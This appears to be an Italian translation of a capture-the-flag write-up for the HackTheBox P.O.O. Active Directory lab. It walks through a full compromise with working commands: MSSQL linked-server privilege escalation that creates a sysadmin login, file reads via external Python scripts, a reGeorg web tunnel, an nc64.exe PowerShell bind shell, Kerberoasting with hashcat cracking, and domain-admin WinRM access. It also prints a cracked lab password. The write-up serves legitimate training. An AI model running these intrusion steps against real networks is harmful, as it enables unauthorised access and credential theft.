
In questo articolo esploreremo il passaggio non solo di una macchina, ma di un'intera mini-laboratorio. .
Come indicato nella descrizione, P.O.O. è progettato per testare le competenze in tutte le fasi degli attacchi in un piccolo ambiente Active Directory. L'obiettivo è compromettere l'host accessibile, ottenere privilegi elevati e, infine, compromettere l'intero dominio, raccogliendo nel processo 5 flag.
La connessione al laboratorio avviene tramite VPN. Si consiglia di non collegarsi da un computer di lavoro o da un host dove ci sono dati importanti per voi, poiché vi troverete in una rete privata con persone che hanno competenze in cybersecurity 🙂
Informazioni organizzative
Per rimanere aggiornato su nuovi articoli, software e altre informazioni, ho creato un e nel campo della sicurezza informatica. Inoltre, le vostre richieste personali, domande, suggerimenti e raccomandazioni .
Tutte le informazioni sono presentate esclusivamente a scopo educativo. L'autore di questo documento non si assume alcuna responsabilità per eventuali danni causati a chiunque dall'uso delle conoscenze e dei metodi acquisiti attraverso lo studio di questo documento.
Intro
Questo endgame consiste in due macchine e contiene 5 flag.

Viene fornita anche una descrizione e l'indirizzo dell'host accessibile.

Iniziamo!
Recon flag
Questa macchina ha l'indirizzo IP 10.13.38.11, che aggiungo a /etc/hosts.
10.13.38.11 poo.htb
Per prima cosa scansioniamo le porte aperte. Poiché scansionare tutte le porte con nmap è lungo, inizierò a farlo con masscan. Scanneremo tutte le porte TCP e UDP dall'interfaccia tun0 a una velocità di 500 pacchetti al secondo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Ora, per ottenere ulteriori informazioni sui servizi che operano sulle porte, avviamo la scansione con l'opzione -A.
nmap -A poo.htb -p80,1433 
Così, abbiamo i servizi IIS e MSSQL. Inoltre, scopriamo il vero nome DNS del dominio e del computer. Sul server web ci accoglie la home page di IIS.

Esploriamo le directory. Per questo utilizzo gobuster. Nei parametri specifichiamo il numero di thread 128 (-t), l'URL (-u), il dizionario (-w) e le estensioni di nostro interesse (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Così abbiamo l'autenticazione HTTP per la directory /admin, oltre a un file di archiviazione del servizio desktop disponibile .DS_Store. .DS_Store sono file che contengono impostazioni personalizzate per la cartella, come l'elenco dei file, la posizione delle icone e l'immagine di sfondo selezionata. Questo file può trovarsi nella directory del server web da parte degli sviluppatori. Pertanto, possiamo ottenere informazioni sul contenuto della directory. A tal fine, possiamo utilizzare .
python3 dsstore_crawler.py -i http://poo.htb/ 
Stiamo ottenendo il contenuto della directory. La parte più interessante qui è la directory /dev, da cui possiamo visualizzare i sorgenti e i file db in due rami. Ma possiamo ottenere i primi 6 caratteri dei nomi dei file e delle directory, se il servizio è vulnerabile a IIS ShortName. Possiamo verificare la presenza di questa vulnerabilità con .

E troviamo un file di testo che inizia con «poo_co». Non sapendo cosa fare dopo, ho semplicemente selezionato dal dizionario delle directory tutte le parole che iniziano con «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtE la consideriamo usando wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
E troviamo la parola giusta! Guardiamo questo file, salviamo le credenziali (dallo stesso parametro DBNAME, provengono da MSSQL).

Consegniamo il flag e procediamo al 20%.

Huh flag
Ci connettiamo a MSSQL, utilizzo DBeaver.

Non troviamo nulla di interessante in questo database, creiamo un editor SQL e controlliamo quali utenti ci sono.
SELECT name FROM master..syslogins; 
Abbiamo due utenti. Verifichiamo i propri privilegi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Non ci sono privilegi quindi. Esaminiamo i server correlati, ho scritto in dettaglio su questo metodo. .
SELECT * FROM master..sysservers; 
Così troviamo un altro SQL Server. Controlliamo l'esecuzione dei comandi su questo server con openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Possiamo anche costruire un albero di query.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Il fatto è che quando eseguiamo una query su un server collegato, la query viene eseguita nel contesto di un altro utente! Veniamo a vedere in quale contesto stiamo lavorando sul server collegato.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Ora vediamo in quale contesto vengono eseguite le query dal server collegato sul nostro!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Pertanto, questo è il contesto DBO, che deve avere tutti i privilegi. Controlliamo i privilegi nel caso di una richiesta dal server collegato.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Come possiamo notare, abbiamo tutti i privilegi! Creiamo il nostro admin in questo modo. Ma non ci permettono di farlo tramite openquery, facciamolo tramite EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";E ora ci connettiamo con le credenziali del nuovo utente, osserviamo il nuovo database flag.

Consegniamo questo flag e procediamo.

BackTrack flag
Otterremo una shell tramite MSSQL, utilizzo mssqlclient dal pacchetto impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Dobbiamo ottenere le password, e la prima cosa che abbiamo già trovato è il sito. Quindi abbiamo bisogno della configurazione del server web (non riusciamo a caricare uno shell conveniente, sembra che ci sia un firewall).

Ma l'accesso è vietato. Anche se possiamo leggere un file da MSSQL, dobbiamo solo sapere quali linguaggi di programmazione sono configurati. E nella directory MSSQL scopriamo che c'è Python.

Allora non ci sono problemi a leggere il file web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Con le credenziali trovate, accederemo a /admin e prenderemo la flag.


Foothold flag
In realtà, l'uso del firewall comporta alcuni fastidi, ma rivedendo le impostazioni di rete notiamo che viene utilizzato anche un tunnel IPv6!

Aggiungeremo questo indirizzo in /etc/hosts.
dead:babe::1001 poo6.htb
Scansiamo di nuovo l'host, ma già con il protocollo IPv6.

E tramite IPv6 è disponibile il servizio WinRM. Connettiamoci con le credenziali trovate.

Sulla scrivania c'è una flag, la consegniamo.

P00ned flag
Dopo aver eseguito la ricognizione sull'host con non troviamo nulla di particolare. Quindi si è deciso di cercare nuovamente le credenziali (ho scritto anche a riguardo ). Ma tramite WinRM non sono riuscito a ottenere tutti gli SPN dal sistema.
setspn.exe -T intranet.poo -Q *//* 
Eseguiamo il comando tramite MSSQL.

In questo modo otteniamo gli SPN degli utenti p00_hr e p00_adm, il che significa che sono vulnerabili ad attacchi come il Kerberoasting. In breve, possiamo ottenere gli hash delle loro password.
Per cominciare, dobbiamo ottenere una shell stabile sotto l'utente MSSQL. Tuttavia, poiché abbiamo accesso limitato, possiamo comunicare con l'host solo tramite le porte 80 e 1433. Ma è possibile tunnelizzare il traffico attraverso la porta 80! Utilizzeremo . Carichiamo il file tunnel.aspx nella directory principale del server web — C:inetpubwwwroot.

Ma quando proviamo ad accedervi, riceviamo un errore 404. Ciò significa che i file *.aspx non vengono eseguiti. Per far sì che i file con questa estensione vengano eseguiti, installeremo ASP.NET 4.5 come segue.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
E ora, accedendo a tunnel.aspx, otteniamo una risposta che tutto è pronto per lavorare.
![]()
Avviamo la parte client dell'applicazione, che si occuperà di ritrasmettere il traffico. Redirecteremo tutto il traffico dalla porta 5432 al server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Utilizziamo proxychains per indirizzare il traffico di qualsiasi applicazione attraverso il nostro proxy. Aggiungiamo questo proxy nel file di configurazione /etc/proxychains.conf.

Ora carichiamo sul server il programma , che ci permetterà di creare una shell bind stabile, e lo script , con cui eseguiremo l'attacco Kerberoasting.

Ora avviamo il listener tramite MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
E ci connettiamo passando per il nostro proxy.
proxychains rlwrap nc poo.htb 4321 
Adesso recuperiamo gli hash.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Dopo, dobbiamo testare questi hash. Poiché nel dizionario rockyou non c'erano le password, ho utilizzato TUTTI i dizionari di password forniti in Seclists. Per il bruteforce usiamo hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceE troviamo entrambe le password, la prima nel dizionario dutch_passwordlist.txt e la seconda in Keyboard-Combinations.txt.


Quindi abbiamo tre utenti, ora andiamo sul controller di dominio. Prima scopriamo il suo indirizzo.

Ottimo, abbiamo identificato l'indirizzo IP del controller di dominio. Scopriamo tutti gli utenti del dominio e chi di loro è l'amministratore. Carichiamo lo script per ottenere informazioni PowerView.ps1. Poi ci connetteremo utilizzando evil-winrm, specificando nel parametro -s la directory contenente lo script. Dopodiché caricheremo semplicemente lo script PowerView.

Ora abbiamo accesso a tutte le sue funzionalità. L'utente p00_adm sembra essere privilegiato, quindi lavoreremo nel suo contesto. Creiamo un oggetto PSCredential per questo utente.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassOra tutti i comandi Powershell dove indichiamo Creds verranno eseguiti a nome di p00_adm. Generiamo un elenco degli utenti e dell'attributo AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Quindi, il nostro utente è effettivamente privilegiato. Controlliamo in quali gruppi è presente.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Affermiamo con certezza che l'utente è l'amministratore del dominio. Questo gli consente l'accesso remoto al controller del dominio. Proviamo a entrare tramite WinRM, utilizzando il nostro tunnel. Sono stato confuso dagli errori restituiti da reGeorg mentre utilizzavo evil-winrm.

Allora utilizziamo uno script più semplice Proviamo a connetterci, e siamo nel sistema.

Ma non c'è la flag. Allora controlliamo gli utenti e verifichiamo i desktop.

Troviamo la flag su mr3ks e il laboratorio è completato al 100%.

Ecco fatto. Come feedback, commenta se hai scoperto qualcosa di nuovo da questo articolo e se ti è stato utile.

Puoi unirti a noi in
. Lì troverai materiali interessanti, corsi condivisi, e anche software. Creiamo una comunità in cui le persone competenti in vari campi dell'IT possano aiutarci sempre l'uno con l'altro su qualsiasi questione legata all'IT e alla sicurezza informatica. . Qui potrai trovare materiali interessanti, corsi condivisi, oltre a software. Creiamo una comunità in cui ci siano persone esperte in vari settori IT, in modo da poterci sempre aiutare a vicenda con qualsiasi questione legata all'IT e alla sicurezza informatica.
Fonte: habr.com
